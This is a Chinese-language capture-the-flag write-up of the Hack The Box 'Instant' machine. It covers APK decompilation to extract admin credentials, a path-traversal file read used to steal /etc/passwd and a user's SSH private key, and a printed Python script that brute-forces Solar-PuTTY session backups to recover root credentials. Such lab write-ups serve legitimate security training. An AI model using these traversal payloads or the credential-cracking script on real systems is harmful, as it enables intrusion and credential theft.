HTB靶场 Instant(Linux)[Me]

admin 2024年10月21日18:51:08评论98 views字数 2251阅读7分30秒阅读模式
本文章仅用于网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
Hack The Box是一个国外的靶机在线平台,实验环境将实时更新,允许您测试您的渗透测试技能。

知识点:APK反编译、本地文件包含、Solar-PuTTYSession文件解密

本地windows:10.10.16.9
Tricker:10.10.16.37
0001.信息收集
nmap扫描只有22端口和80端口开放
nmap -sC -sV -O -oN nmap.txt 10.10.11.36
主页如下,只有下载instant.apk,无其他可用信息。    
HTB靶场 Instant(Linux)[Me]
使用夜神模拟器安装后主页如下,这个app的功能类似钱包管理,可用根据ID给其它用户转账,转账时需要输入转账密码(Pin),Pin口令必须为五位数字。
测试转账功能时,到最后一步会报500错误。
HTB靶场 Instant(Linux)[Me]    
使用jadx打开apk文件,首先发现admin用户的凭证。
HTB靶场 Instant(Linux)[Me]
然后使用搜索功能,搜索几次关键词发现其它子域名swagger-ui.instant.htbjadx的好处就是搜索时反编译代码和资源文件可一起搜索。
HTB靶场 Instant(Linux)[Me]
0002.本地文件包含获取shirohige用户权限
swagger-ui.instant.htb子域名的主页,对所有api都有详细的说明。    
HTB靶场 Instant(Linux)[Me]
我们使用apk反编译中获取的凭证进行授权,对每个api进行测试,发现Logs API下面的/api/v1/admin/read/log文件包含漏洞
使用../../../../etc/passwd成功读取/etc/passwd文件,而且根据返回结果,还知道当前用户是shirohige,有远程登录的权限。
HTB靶场 Instant(Linux)[Me]    
直接读取shirohige用户的ssh文件,路径为/home/shirohige/.ssh/id_rsa
HTB靶场 Instant(Linux)[Me]
保存为id_rsa文件,使用PuTTYgenid_rsa文件转换为id_rsa.ppk文件。
HTB靶场 Instant(Linux)[Me]    
使用PuTTy中导入凭证,远程登录
HTB靶场 Instant(Linux)[Me]
HTB靶场 Instant(Linux)[Me]
0003.获取root权限
首先获取到网站的数据库,里面有shirohige用户密码,但是加密方式为pbkdf2,解密很久没跑出来。
pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed
/opt下发现可疑文件,一般/opt是为空的。/opt/backups/Solar-PuTTY/sessions-backup.dat打开后是类似base64的加密,使用base64无法解密。
HTB靶场 Instant(Linux)[Me]
经查询资料,这是Solar-PuTTY导出会话的文件,会话中一般包含服务器登录信息,导出时会设置密码。    
HTB靶场 Instant(Linux)[Me]
使用下列代码,穷举密码进行解密
import base64import sysfrom Crypto.Cipher import DES3from Crypto.Protocol.KDF import PBKDF2def decrypt(passphrase, ciphertext):        data = ''    try:        # Decode the base64 encoded ciphertext        array = base64.b64decode(ciphertext)        salt = array[:24]        iv = array[24:32]        encrypted_data = array[48:]        # Derive the key using PBKDF2        key = PBKDF2(passphrase, salt, dkLen=24, count=1000)        # Create the Triple DES cipher in CBC mode        cipher = DES3.new(key, DES3.MODE_CBC, iv)        # Decrypt the data        decrypted_data = cipher.decrypt(encrypted_data)        # Remove padding (PKCS7 padding)        padding_len = decrypted_data[-1]        decrypted_data = decrypted_data[:-padding_len]            data = ''.join(chr(c) for c in decrypted_data if chr(c).isascii())    except Exception as e:        print(f'Error: {e}')    return dataif len(sys.argv) < 3:    print(f'Usage: {sys.argv[0]} putty_session.dat wordlist.txt')    exit(1)with open(sys.argv[1]) as f:    cipher = f.read()with open(sys.argv[2]) as passwords:    for i, password in enumerate(passwords):        password = password.strip()        decrypted = decrypt(password, cipher)        print(f'[{i}] {password=}', end='r')            if 'Credentials' in decrypted:            print(f'r[{i}] {password=} {" " * 10}')            print()            print(decrypted)            break
成功获取root用户密码
HTB靶场 Instant(Linux)[Me]
登录root用户,远程直接登录root会失败,使用shirohige提权。
HTB靶场 Instant(Linux)[Me]
感谢观看!    

原文始发于微信公众号(Rsec):HTB靶场 Instant(Linux)[Me]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月21日18:51:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB靶场 Instant(Linux)[Me]https://cn-sec.com/archives/3292464.html

发表评论

匿名网友 填写信息